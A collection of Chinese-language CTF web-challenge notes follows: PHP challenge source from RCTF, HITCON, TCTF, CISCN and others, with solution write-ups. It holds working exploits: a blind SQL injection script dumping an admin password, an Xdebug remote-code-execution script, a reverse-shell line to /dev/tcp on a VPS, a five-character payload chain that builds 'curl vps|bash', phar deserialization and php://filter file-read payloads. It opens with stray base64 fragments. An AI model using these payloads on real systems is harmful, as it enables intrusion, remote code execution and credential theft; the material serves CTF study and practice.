7YnV0dG9uJmd0OyZOZXdMaW5lOyAgICAgICZsdDsmc29sO2Zvcm0mZ3Q7Jk5ld0xpbmU7ICAgICZsdDsmc29sO2RpdiZndDs
mTmV3TGluZTsgICZsdDsmc29sO2JvZHkmZ3Q7Jk5ld0xpbmU7Jmx0OyZzb2w7aHRtbCZndDsmTmV3TGluZTs8L2NvZGU
PC9wcmU
CgogICAgICA8Zm9ybSBhY3Rpb249Ii9yZXF1ZXN0LnBocCIgbWV0aG9kPSJQT1NUIj4KICAgICAgICA8ZGl2IGNsYXNzPSJmb3
JtLWdyb3VwIj4KICAgICAgICAgIDxsYWJlbCBmb3I9InVybCI
VVJMPC9sYWJlbD4KICAgICAgICAgIDx0ZXh0YXJlYSBuYW1lPSJ1cmwiIGNsYXNzPSJmb3JtLWNvbnRyb2wiIGlkPSJ1cmwiIGF
yaWEtZGVzY3JpYmVkYnk9InVybCIgcGxhY2Vob2xkZXI9IlVSTCIgcm93cz0iMTAiPmZpbGU6Ly8vdmFyL3d3dy9odG1sL3JlcXVlc
3QucGhwPC90ZXh0YXJlYT4KICAgICAgICA8L2Rpdj4KCiAgICAgICAgPGJ1dHRvbiBjbGFzcz0iYnRuIGJ0bi1wcmltYXJ5Ij5TZW5
kIFJlcXVlc3Q8L2J1dHRvbj4KICAgICAgPC9mb3JtPgogICAgPC9kaXY CiAgPC9ib2R5Pgo8L2h0bWw Cg==

hackme command-exeutor

```
只能执行两个命令 ls / env，猜测试任意命令执行
这里有文件包含，拖到所有源码
index.php?func=php://filter/read=convert.base64-encode/resource=index

# index
<?php
$pages = [
 ['man', 'Man'],
 ['untar', 'Tar Tester'],
 ['cmd', 'Cmd Exec'],
 ['ls', 'List files'],
];

function fuck($msg) {
 header('Content-Type: text/plain');
 echo $msg;
 exit;
}

$black_list = [
 '\/flag', '\(\)\s*\{\s*:;\s*\};'
];

function waf($a) {
 global $black_list;
 if(is_array($a)) {
  foreach($a as $key => $val) {
```

```
  foreach($a as $key => $val) {
   waf($key);
   waf($val);
  }
 } else {
  foreach($black_list as $b) {
   if(preg_match("/$b/", $a) === 1) {
    fuck("$b detected! exit now.");
   }
  }
 }
}

waf($_SERVER);
waf($_GET);
waf($_POST);

function execute($cmd, $shell='bash') {
 system(sprintf('%s -c %s', $shell, escapeshellarg($cmd)));
}

// 这里有个特别的东西
foreach($_SERVER as $key => $val) {
 if(substr($key, 0, 5) === 'HTTP_') {
  putenv("$key=$val");  // 设置系统变量
 }
}

$page = '';

if(isset($_GET['func'])) {
 $page = $_GET['func'];
 if(strstr($page, '..') !== false) {
  $page = '';
 }
}

if($page && strlen($page) > 0) {
 try {
  include("$page.php");
 } catch (Exception $e) {

 }
}

function render_default() { ?>
<?php foreach($pages as list($file, $title)): ?>
 <li class="nav-item">
 <a class="nav-link" href="index.php?func=<?=$file?>"><?=$title?></a>
 </li>
<?php endforeach; ?>

 <div class="container"><?php if(is_callable('render')) render(); else render_default(); ?></div>
</body>
</html>


<?php
function render() {
 $cmd = '';
 if(isset($_GET['cmd'])) {
  $cmd = (string)$_GET['cmd'];
 }
?>
<h1>Command Execution</h1>
<?php
 echo '<ul>';
 $cmds = ['ls', 'env'];
 foreach($cmds as $c) {
  printf('<li><a href="index.php?func=cmd&cmd=%s">%1$s<L2E'



# ls
<?php
function render() {
 $file = '.';
 if(isset($_GET['file'])) {
  $file = (string)$_GET['file'];
 }

 $dirs = ['.', '..', '../..', '/etc/passwd'];
 foreach($dirs as $dir) {
  printf('<li><a href="index.php?func=ls&file=%s">%1$s</a></li>', $dir);
 }

 printf('<h2>$ ls %s</h2>', htmlentities($file));

 execute(sprintf('ls -l %s', escapeshellarg($file)));
}
?>




# untar
<?php
function render() {
?>

<?php
 if(isset($_FILES['tarfile'])) {
  printf('<h2>$ tar -tvf %s</h2>', htmlentities($_FILES['tarfile']['name']));

  execute(sprintf('tar -tvf %s 2>&1', escapeshellarg($_FILES['tarfile']['tmp_name'])));
 }
}
?>


# man
<?php
function render() {
 $file = 'man';
 if(isset($_GET['file'])) {
  $file = (string)$_GET['file'];
  if(preg_match('/^[\w\-]+$/', $file) !== 1) {
   echo '<pre>Invalid file name!</pre>';
   return;
  }
  }
 }

 $cmds = ['bash', 'ls', 'cp', 'mv'];

 foreach($cmds as $cmd) {
  printf('<li><a href="index.php?func=man&file=%s">%1$s</a></li>', $cmd);
 }

 printf('<h2>$ man %s</h2>', htmlentities($file));

 execute(sprintf('man %s | cat', escapeshellarg($file)));
}
?>


# cmd
<?php
function render() {
 $cmd = '';
 if(isset($_GET['cmd'])) {
  $cmd = (string)$_GET['cmd'];
 }
?>
<h1>Command Execution</h1>
<?php
 echo '<ul>';
 $cmds = ['ls', 'env'];
 foreach($cmds as $c) {
  printf('<li><a href="index.php?func=cmd&cmd=%s">%1$s</a></li>', $c);
 }
?>

<script>cmd.focus();</script>
<?php
 if(strlen($cmd) > 0) {
  printf('<h2>$ %s</h2>', htmlentities($cmd));

  switch ($cmd) {
  case 'env':
  case 'ls':
  case 'ls -l':
  case 'ls -al':
   execute($cmd);
   break;
  case 'cat flag':
   echo '<img src="cat-flag.png" alt="cat flag">';
   break;
  default:
   printf('%s: command not found', htmlentities($cmd));
  }
 }
}
?>

putenv ( string $setting ) : bool
添加 setting 到服务器环境变量，环境变量仅存活于当前请求期间，在请求结束时环境会恢复到初始状态。
```

2018-RCTF r-cursive

```
<?php
sha1($_SERVER['REMOTE_ADDR']) === 'f6e5575f93a408c5cb709c73eaa822cb09b4d0f7' ?: die();
';' === preg_replace('/[^\W_]+\((?R)?\)/', NULL, $_GET['cmd']) ? eval($_GET['cmd']) : show_source(__FILE__);

这个绕过有点牛逼：curl "http://xxxx.sandbox.r-cursive.ml:1337/?cmd=eval(next(getallheaders()));" -H "User-Agent: phpinfo();" -H "Accept: asdasd/asdasda"

(PHP 4 >= 4.0.4, PHP 5, PHP 7)
nginx
get_defined_vars() — 返回由所有已定义变量所组成的数组

apache
getallheaders()
```

SKCTF login3

```
hint：基于布尔的SQL盲注
过滤了：空格 * 常用空格符 + ; union and = ,
database() length=8
'#
import requests

str_all="1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ {}+-*/="
re = requests.session()
url = 'http://123.206.31.85:49167/index.php'

def database():
 res = ''
 for i in range(1,9):
  for j in str_all:
   exp = "admin'^(ascii(mid(database()from({})))<>{})#".format(i, ord(j))
   data = {
    'username': exp,
    'password': 3242
   }
   html = re.post(url=url, data=data).text
   #print(data)
   if 'error' in html:
    res += j
    print(res)
    break
 # blindsql
 # username=admin'^(select(0)from(admin))#&password=fgasrd

def password():
 res = ''
 for i in range(1,39):
  for j in str_all:
   exp = "admin'^(ascii(mid((select(password)from(admin))from({})))<>{})#".format(i, ord(j))
   # where(username='admin')
   data = {
    'username': exp,
    'password': 3242
   }
   html = re.post(url=url, data=data).text
   #print(data)
   if 'error' in html:
    res += j
    print(res)
    break

 # 51b7a76d51e70b419f60d3473fb6f900

password()
```

安恒杯 9月赛 web2

```
很有意思的一个题，需要极限利用
<?php
include 'flag.php';
if(isset($_GET['code'])){
 $code = $_GET['code'];
 if(strlen($code)>40){
  die("Long.");
 }
 if(preg_match("/[A-Za-z0-9]+/",$code)){
  die("NO.");
 }
 @eval($code);
}else{
 highlight_file(__FILE__);
}
//$hint =  "php function getFlag() to get flag";
?>
```

2019 TCTF lfsr

```
https://fireshellsecurity.team/0ctf-zer0lfsr/
https://hxp.io/blog/49/0CTF-Quals-2019-zer0lfsr-writeup/

from secret import init1,init2,init3,FLAG
import hashlib
assert(FLAG=="flag{"+hashlib.sha256(init1+init2+init3).hexdigest()+"}")

class lfsr():
 def __init__(self, init, mask, length):
  self.init = init
  self.mask = mask
  self.lengthmask = 2**(length+1)-1  # 48 个 1

 def next(self):
  # 超过 48 位了，每次扔掉最高位
  nextdata = (self.init << 1) #& self.lengthmask  # 48 个 1
  i = self.init & self.mask #& self.lengthmask
  output = 0
  while i != 0:
   output ^= (i & 1)  # 最低位
   i = i >> 1
  # 奇数个 1，output 就是 1，否则是 0
  # 1/3 => 1  2/3 => 0
  nextdata ^= output
  # init & mask 奇数个 1 nextdata 最低位变 0，偶数就不变
  self.init = nextdata
  return output

def combine(x1,x2,x3):
 return (x1*x2)^(x2*x3)^(x1*x3)
 # (x1 & x2) ^ (x2 & x3) ^ (x1 & x3)
 """
 概率都是 75%
 (0, 0, 0,   0)
 (0, 0, 1,   0)
 (0, 1, 0,   0)
 (0, 1, 1,   1)
 (1, 0, 0,   0)
 (1, 0, 1,   1)
 (1, 1, 0,   1)
 (1, 1, 1,   1)
 """

init1 = 0b11101010111100111001001000111101010101100101100000001
init2 = 0b11011000111000100011011011011010000000110101111000100
init3 = 0b11101101011000111001011111100000100000011111011011001

if __name__=="__main__":
 # bytes类型的变量，转化为十进制整数
 l1 = lfsr(int.from_bytes(init1,"big"),0b100000000000000000000000010000000000000000000000,48)
 l2 = lfsr(int.from_bytes(init2,"big"),0b100000000000000000000000000000000000100000000000,48)
 l3 = lfsr(int.from_bytes(init3,"big"),0b100000100000000000000000000000000000000000000000,48)

 with open("keystream","wb") as f:
  for i in range(8192):
   b = 0
   for j in range(8):
    b = (b<<1)+combine(l1.next(),l2.next(),l3.next())
   # 逆过来就是 bin(ord(b.decode()))，其中每一个序列都是 combine
   f.write(chr(b).encode())
还给了一个 keystream，因为 encode()，所以不是最初的结果，需要在处理一下

barr = b''
with open('keystream','rb') as f:
 data = f.read()
 i = 0
 while i < len(data):
  if data[i] == 194 or data[i] == 195:
   barr += bytes([ord(bytes([data[i], data[i+1]]).decode())])
   i += 1
  else:
   barr += bytes([ord(bytes([data[i]]).decode())])
  i += 1
with open('decoded-keystream', 'wb') as f:
 f.write(barr)

别人都是 z3 爆破，太可惜了
```

2019 TCTF ghostpepper

```
jolokia karaf
Java web api 泄露
https://blog.csdn.net/cyl_cheng_1996/article/details/75715548
https://www.jianshu.com/p/bfc5a8e73ca9
https://momomoxiaoxi.com/2019/03/26/tctf2019/
https://www.anquanke.com/post/id/103016
https://jolokia.org/reference/html/protocol.html#list
https://karaf.apache.org/manual/latest/#_quick_start
```

2019 TCTF WallbreakerEasy

```
直接给了一个 eval 后门，目标是命令执行 ./readflag
```

2015 RCTF weeeeeb3

```
这个题是一个逻辑漏洞，还挺好玩的，修改密码的时候只验证了信息填写是否正确，但是改密码的账户未验证与前面是否一致。
从而可以更改管理员密码，过了第一个验证之后，直接抓包将用户名改为 admin，登录后发现是文件上传，接着伪造 ip，文件上传，
又要用 <script language="php"></script> + php4 等绕过
```

XCTF 4th-WHCTF-2017 Emmm

```
题目：/flag.txt
一上来就是文件泄露，看到一个 phpinfo.php，扫了一波，没其他东西了
结合题干的 flag.txt，文件包含？
未开启 open_basedir
根目录 /app
nginx/1.10.3
disable_functions:
pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority

注意到 xdebug.remote_connect_back=1 开了远程调试 参考 https://paper.seebug.org/397/
注意监听 9000 端口，这是 phpstorm 默认的端口，不能瞎改，否则接收不到

□  ~ curl "http://111.198.29.45:30372/phpinfo.php?XDEBUG_SESSION_START=phpstrom" -H "X-Forwarded-For:47.101.220.241"□  ~ curl "http://111.198.29.45:30372/phpinfo.php?XDEBUG_SESSION_START=phpstrom" -H "X-Forwarded-For:47.101.220.241"
到 vps 上进行监听
□  ~ nc -lvv 9000
Listening on [0.0.0.0] (family 0, port 9000)
Connection from 111.198.29.45 18656 received!
499<?xml version="1.0" encoding="iso-8859-1"?>
<init xmlns="urn:debugger_protocol_v1" xmlns:xdebug="http://xdebug.org/dbgp/xdebug" fileuri="file:///app/phpinfo.php" language="PHP" xdebug:language_version="7.0.22-0ubuntu0.16.04.1" protocol_version="1.0" appid="9" idekey="phpstrom"><engine version="2.6.0-dev"><![CDATA[Xdebug]]></engine><author><![CDATA[Derick Rethans]]></author><url><![CDATA[http://xdebug.org]]></url><copyright><![CDATA[Copyright (c) 2002-2017 by Derick Rethans]]></copyright></init>
成功

将该代码运行到 vps 上，然后再用上面的 curl 语句触发一下
#!/usr/bin/python2
import socket

ip_port = ('0.0.0.0',9000)
sk = socket.socket()
sk.bind(ip_port)
sk.listen(10)
conn, addr = sk.accept()

while True:
 client_data = conn.recv(1024)
 print(client_data)

 data = raw_input('>> ')
 conn.sendall('eval -i 1 -- %s\x00' % data.encode('base64'))


bash -i >& /dev/tcp/47.101.220.241/8888 0>&1
system("curl 47.101.220.241:8888")
垃圾环境，弹shell一直失败
>> system("cat /flag.txt")
304<?xml version="1.0" encoding="iso-8859-1"?>
```

```
<response xmlns="urn:debugger_protocol_v1" xmlns:xdebug="http://xdebug.org/dbgp/xdebug" command="eval" transaction_id="1"><property type="string" size="38"
encoding="base64"><![CDATA[eGN0ZnswYzhjMDcxY2YzMTE4YTBjMjg5MGU0N2UyZDA0ZTQ2Nn0=]]></property></response>
```

解码即得flag，不需要 nc 另外监听

这篇文章靠谱点：https://blog.spoock.com/2017/09/19/xdebug-attack-surface/

不过的确可以直接看到返回的数据，用不着绕一圈弹shell，拿flag更重要

来自 p 牛的脚本

```
#!/usr/bin/env python3
import re
import sys
import time
import requests
import argparse
import socket
import base64
import binascii
from concurrent.futures import ThreadPoolExecutor


pool = ThreadPoolExecutor(1)
session = requests.session()
session.headers = {
 'User-Agent': 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)'
}

def recv_xml(sock):
 blocks = []
 data = b''
 while True:
  try:
   data = data + sock.recv(1024)
  except socket.error as e:
   break
  if not data:
   break

  while data:
   eop = data.find(b'\x00')
   if eop < 0:
    break
   blocks.append(data[:eop])
   data = data[eop+1:]

  if len(blocks) >= 4:
   break

 return blocks[3]


def trigger(url):
 time.sleep(2)
 try:
  session.get(url + '?XDEBUG_SESSION_START=phpstorm', timeout=0.1)
 except:
  pass


if __name__ == '__main__':
```

```
if __name__ == '__main__':
 parser = argparse.ArgumentParser(description='XDebug remote debug code execution.')
 parser.add_argument('-c', '--code', required=True, help='the code you want to execute.')
 parser.add_argument('-t', '--target', required=True, help='target url.')
 parser.add_argument('-l', '--listen', default=9000, type=int, help='local port')
 args = parser.parse_args()

 ip_port = ('0.0.0.0', args.listen)
 sk = socket.socket()
 sk.settimeout(10)
 sk.bind(ip_port)
 sk.listen(5)

 pool.submit(trigger, args.target)
 conn, addr = sk.accept()
 conn.sendall(b''.join([b'eval -i 1 -- ', base64.b64encode(args.code.encode()), b'\x00']))

 data = recv_xml(conn)
 print('[+] Recieve data: ' + data.decode())
 g = re.search(rb'<\!\[CDATA\[([a-z0-9=\./\+]+)\]\]>', data, re.I)
 if not g:
  print('[-] No result...')
  sys.exit(0)

 data = g.group(1)

 try:
  print('[+] Result: ' + base64.b64decode(data).decode())
 except binascii.Error:
  print('[-] May be not string result...')
```

HITCON-2017 BabyFirst_Revenge

```
只能说终于碰到橘子这一题了，极限弹 shell
<?php
 $sandbox = '/www/sandbox/' . md5("orange" . $_SERVER['REMOTE_ADDR']);
 @mkdir($sandbox);
 @chdir($sandbox);
 if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 5) {
  @exec($_GET['cmd']);
 } else if (isset($_GET['reset'])) {
  @exec('/bin/rm -rf ' . $sandbox);
 }
 highlight_file(__FILE__);

最大的限制在于这个长度不超过5
exec 不像 system，不会直接输出命令执行结果
尝试在vps上提供一个脚本文件，然后下载，再解析
参考这篇文章，这有个类似的题目，长度限制在7

#coding:utf-8
import requests
from time import sleep
from urllib import quote

payload = [
 # generate `ls -t>g` file
 '>ls\\',
 'ls>_',
 '>\ \\',
 '>-t\\',
 '>\>g',
 'ls>>_',

 # generate `curl vps_ip|bash`
 '>sh\ ',
 '>ba\\',
 '>\|\\',
 '>241\\',
 '>0.\\',
 '>22\\',
 '>1.\\',
 '>10\\',
 '>47.\\',
 '>\ \\',
 '>rl\\',
 '>cu\\',

 # exec
 'sh _',
 'sh g',
]

r = requests.get('http://111.198.29.45:30213/?reset=1')
for i in payload:
 assert len(i) <= 5
 r = requests.get('http://111.198.29.45:30213/?cmd=' + quote(i) )
 print i
 sleep(0.2)
```

最终的脚本如上，本地成功后直接打过去还是接收不到shell，实在不行换了个端口，重新打一遍，终于成功了

血的教训：如果接收不到，一定要注意，端口是否被占用！

```
netstat -anl | grep 8008
```

这还有个版本 v2，长度限制到 4，另外 py 脚本反弹shell不太靠谱，最好用bash

2017 hitcon ctf master

```
<?php
$FLAG = create_function("", 'die(`/read_flag`);');
$SECRET = `/read_secret`;
$SANDBOX = "/var/www/data/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
@mkdir($SANDBOX);
@chdir($SANDBOX);

if (!isset($_COOKIE["session-data"])) {
 $data = serialize(new User($SANDBOX));
 $hmac = hash_hmac("sha1", $data, $SECRET);
 setcookie("session-data", sprintf("%s-----%s", $data, $hmac));
}

class User {
 public $avatar;
 function __construct($path) {
  $this->avatar = $path;
 }
}
```

```
// 猜测执行 FLAG() 出 flag
class Admin extends User {
 function __destruct() {
  $random = bin2hex(openssl_random_pseudo_bytes(32));
  eval("function my_function_$random() {"
   . "  global \$FLAG; \$FLAG();"
   . "}");
  // 难道要爆破?
  $_GET["lucky"]();
 }
}

function check_session() {
 global $SECRET;
 $data = $_COOKIE["session-data"];
 list($data, $hmac) = explode("-----", $data, 2);
 if (!isset($data, $hmac) || !is_string($data) || !is_string($hmac)) {
  die("Bye");
 }

 if (!hash_equals(hash_hmac("sha1", $data, $SECRET), $hmac)) {
  die("Bye Bye");
 }

 // 反序列化点，但无法更改 session 的值
 $data = unserialize($data);
 if (!isset($data->avatar)) {
  die("Bye Bye Bye");
 }

 return $data->avatar;
}

function upload($path) {
 // vps 准备好 phar 文件
 $data = file_get_contents($_GET["url"] . "/avatar.gif");
 if (substr($data, 0, 6) !== "GIF89a") {
  die("Fuck off");
 }

 file_put_contents($path . "/avatar.gif", $data);
 die("Upload OK");
}

function show($path) {
 // 这两个函数都将造成反序列化
 if (!file_exists($path . "/avatar.gif")) {
  $path = "/var/www/html";
 }

 header("Content-Type: image/gif");
 die(file_get_contents($path . "/avatar.gif"));
}

$mode = $_GET["m"];
if ($mode == "upload") {
 upload(check_session());
} else if ($mode == "show") {
 show(check_session());
 show(check_session());
} else {
 highlight_file(__FILE__);
}

思路变为，先上传一个 phar 文件，然后调用相关文件操作函数，造成反序列化
可惜仅仅反序列化，是不行的，还需要调用 flag()，eval 里的函数名又是随机值，爆破个毛线
这里有了一个新的知识点，匿名函数其实还有另一个名字 \x00lambda_%d

zend_builtin_functions.c
do {
 ZSTR_LEN(function_name) = snprintf(ZSTR_VAL(function_name) + 1, sizeof("lambda_")+MAX_LENGTH_OF_LONG, "lambda_%
d", ++EG(lambda_count)) + 1;
} while (zend_hash_add_ptr(EG(function_table), function_name, func) == NULL);
RETURN_NEW_STR(function_name);

// 做个简单实验
<?php
create_function("", 'echo __FUNCTION__;');
call_user_func("\x00lambda_1", 1);

其中 %d 会一直递增，代表着这是该进程里的第几个匿名函数，那么这里即使不知道函数名，也可以这样调用了，不知道第几个匿名函数也可以
爆破
橘子师傅给的方法是向 Apache 发送大量请求，使得 Apache 开启新的进程来处理请求，那么我们就可以直接 \x00lambda_1() 就可以拿到
flag

Apache-prefork模型（默认）
在接受请求后会如何处理,首先Apache会默认生成5个child server去等待用户连接, 默认最高可生成256个child server,
这时候如果用户大量请求, Apache就会在处理完MaxRequestsPerChild个tcp连接后kill掉这个进程,开启一个新进程处理请求。

# coding: UTF-8
# Author: orange@chroot.org

import requests
import socket
import time
from multiprocessing.dummy import Pool as ThreadPool

try:
 requests.packages.urllib3.disable_warnings()
except:
 pass

def run(i):
 while 1:
  HOST = '117.50.3.97'
  PORT = 8005
  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  s.connect((HOST, PORT))
  s.sendall('GET / HTTP/1.1\nHost: 54.238.212.199\nConnection: Keep-Alive\n\n')
  # s.close()
  print 'ok'
  time.sleep(0.5)

i = 8
pool = ThreadPool( i )
result = pool.map_async( run, range(i) ).get(0xffff)


http://117.50.3.97:8005/?m=upload&url=phar:///var/www/data/10ca93deca3a77b681f68dd0e46647ec&lucky=%00lambda_1
```

```
如果不能以 phar 开头，还可以加其他的协议  https://blog.zsxsoft.com/post/38
compress.bzip2://phar://
compress.zlib://phar://
```

2017 hitcon ctf ssrf me

```
<?php
 $sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
 @mkdir($sandbox);
 @chdir($sandbox);


 // GET 有大洞
 $data = shell_exec("GET " . escapeshellarg($_GET["url"]));
 $info = pathinfo($_GET["filename"]);
 $dir  = str_replace(".", "", basename($info["dirname"]));
 @mkdir($dir);
 @chdir($dir);
 @file_put_contents(basename($info["basename"]), $data);
 highlight_file(__FILE__);
```

2017 hitcon ctf ssrf me

2018 hitcon one line php challenge

```
<?php
($_=@$_GET['orange']) && @substr(file($_)[0],0,6) === '@<?php' ? include($_) : highlight_file(__FILE__);
```

2019 DDCTF

```
php://filter/read=convert.base64-encode/resource=index.php

php%3a%2f%2ffilter%2fread%3dconvert.base64%2dencode%2fresource%3dindex.php

PD9waHANCi8qDQogKiBodHRwczovL2Jsb2cuY3Nkbi5uZXQvRmVuZ0JhbkxpdVl1bi9hcnRpY2xlL2RldGFpbHMvODA2MTY2MDcNCiAqIERhdGU6
IEp1bHkgNCwyMDE4DQogKi8NCmVycm9yX3JlcG9ydGluZyhFX0FMTCB8fCB+RV9OT1RJQ0UpOw0KDQoNCmhlYWRlcignY29udGVudC10eXBlOnRl
eHQvaHRtbDtjaGFyc2V0PXV0Zi04Jyk7DQppZighIGlzc2V0KCRfR0VUWydqcGcnXSkpDQogICAgaGVhZGVyKCdSZWZyZXNoOjA7dXJsPS4vaW5k
ZXgucGhwP2pwZz1UbXBaTWxGNldYaE9hbU41VWxSYVFrNTZRVEpPZHowOScpOw0KJGZpbGUgPSBoZXgyYmluKGJhc2U2NF9kZWNvZGUoYmFzZTY0
X2RlY29kZSgkX0dFVFsnanBnJ10pKSk7DQplY2hvICc8dGl0bGU+Jy4kX0dFVFsnanBnJ10uJzwvdGl0bGU+JzsNCiRmaWxlID0gcHJlZ19yZXBs
YWNlKCIvW15hLXpBLVowLTkuXSsvIiwiIiwgJGZpbGUpOw0KZWNobyAkZmlsZS4nPC9icj4nOw0KJGZpbGUgPSBzdHJfcmVwbGFjZSgiY29uZmln
IiwiISIsICRmaWxlKTsNCmVjaG8gJGZpbGUuJzwvYnI+JzsNCiR0eHQgPSBiYXNlNjRfZW5jb2RlKGZpbGVfZ2V0X2NvbnRlbnRzKCRmaWxlKSk7
DQoNCmVjaG8gIjxpbWcgc3JjPSdkYXRhOmltYWdlL2dpZjtiYXNlNjQsIi4kdHh0LiInPjwvaW1nPiI7DQovKg0KICogQ2FuIHlvdSBmaW5kIHRo
ZSBmbGFnIGZpbGU/DQogKg0KICovDQoNCj8+DQo=



wireshark

172.25 是自己， 110 是网站
```

2019 CISCN justsoso

php 引用，配合反序列化

2019 CISCN love math

```
<?php
error_reporting(0);
//听说你很喜欢数学，不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
 show_source(__FILE__);
}else{
 //例子 c=20-1
 $content = $_GET['c'];
 if (strlen($content) >= 80) {
  die("太长了不会算");
 }
 $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
 foreach ($blacklist as $blackitem) {
  if (preg_match('/' . $blackitem . '/m', $content)) {
   die("请不要输入奇奇怪怪的字符");
  }
 }
 //常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
 $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
 preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
 foreach ($used_funcs[0] as $func) {
  if (!in_array($func, $whitelist)) {
   die("请不要输入奇奇怪怪的函数");
  }
 }
 //帮你算出答案
 eval('echo '.$content.';');
}
```

2019 CISCN RefSpace

```
get 新姿势，反射
<?php
if (!defined('LFI')) {
 echo "Include me!";
 exit();
}
use interesting\FlagSDK;
$sdk = new FlagSDK();
$key = $_GET['key'] ?? false;
if (!$key) {
 echo "Please provide access key<br \>";
 echo '$_GET["key"];';
 exit();
}
$flag = $sdk->verify($key);
if ($flag) {
 echo $flag;
} else {
 echo "Wrong Key";
 exit();
}
```

2019 CISCN 全宇宙最简单的 sql

```
根据执行报错/执行成功但登录失败两种回显状态不同，构造注入语句，类似于布尔盲注。
```

来源未知，文件包含到 mysql 读文件

```
来自安全客分享 https://www.anquanke.com/post/id/173039

<?php
define(ROBOTS, 0);
error_reporting(0);

if(empty($_GET["action"])) {
 show_source(__FILE__);
} else {
 include $_GET["action"].".php";
}


<?php
if (!defined("ROBOTS")) {die("Access Denied");}
echo "Congratulate hack to here, But flag in /var/www/flag.flag";


<?php
if(file_exists("./install.lock")) {
 die("Have installed!");
}

$host = $_REQUEST['host'];
$user = $_REQUEST['user'];
$passwd = $_REQUEST['passwd'];
$database = $_REQUEST['database'];

if(!empty($host) && !empty($user) && !empty($passwd) && !empty($database)) {
 $conn = new mysqli($host, $user, $passwd);
 if($conn->connect_error) {
  die($conn->connect_error);
 } else {
  $conn->query("DROP DATABASE ".$database);
  $conn->query("CREATE DATABASE ".$database);
  //To be continued
  mysqli_close($conn);


  $config = "<?phpn$config=";
  $config .= var_export(array("host"=>$host, "user"=>$user, "passwd"=>$passwd), TRUE).";";
  file_put_contents(md5($_SERVER["REMOTE_ADDR"])."/config.php", $config);
 }
}
```

某入群题 473831530

```
http://ctf473831530.yulige.top:12345/
<?php
highlight_file(__FILE__);
function check_inner_ip($url)
{
 $match_result=preg_match('/^(http|https|gopher|dict)?:\/\/.*(\/)?.*$/',$url);
 if (!$match_result)
 {
  die('url fomat error');
 }
 try
 {
  $url_parse=parse_url($url);
 }
 catch(Exception $e)
 {
  die('url fomat error');
  return false;
 }
 $hostname=$url_parse['host'];
 $ip=gethostbyname($hostname);
 $int_ip=ip2long($ip);
 return ip2long('127.0.0.0')>>24 == $int_ip>>24 || ip2long('10.0.0.0')>>24 == $int_ip>>24 || ip2long('172.16.0.0')>>20 == $int_ip>>20 || ip2long('192.168.0.0')>>16 == $int_ip>>16;
}

function safe_request_url($url)
{

 if (check_inner_ip($url))
 {
  echo $url.' is inner ip';
 }
 else
 {
  $ch = curl_init();
  curl_setopt($ch, CURLOPT_URL, $url);
  curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  curl_setopt($ch, CURLOPT_HEADER, 0);
  $output = curl_exec($ch);
  $result_info = curl_getinfo($ch);
  if ($result_info['redirect_url'])
  {
   safe_request_url($result_info['redirect_url']);
  }
  curl_close($ch);
  var_dump($output);
 }

}

$url = $_GET['url'];
if(!empty($url)){
 safe_request_url($url);
}

?>
```

34c3CTF extract0r

https://paper.tuisec.win/detail/aed0bb56df25952

34c3CTF post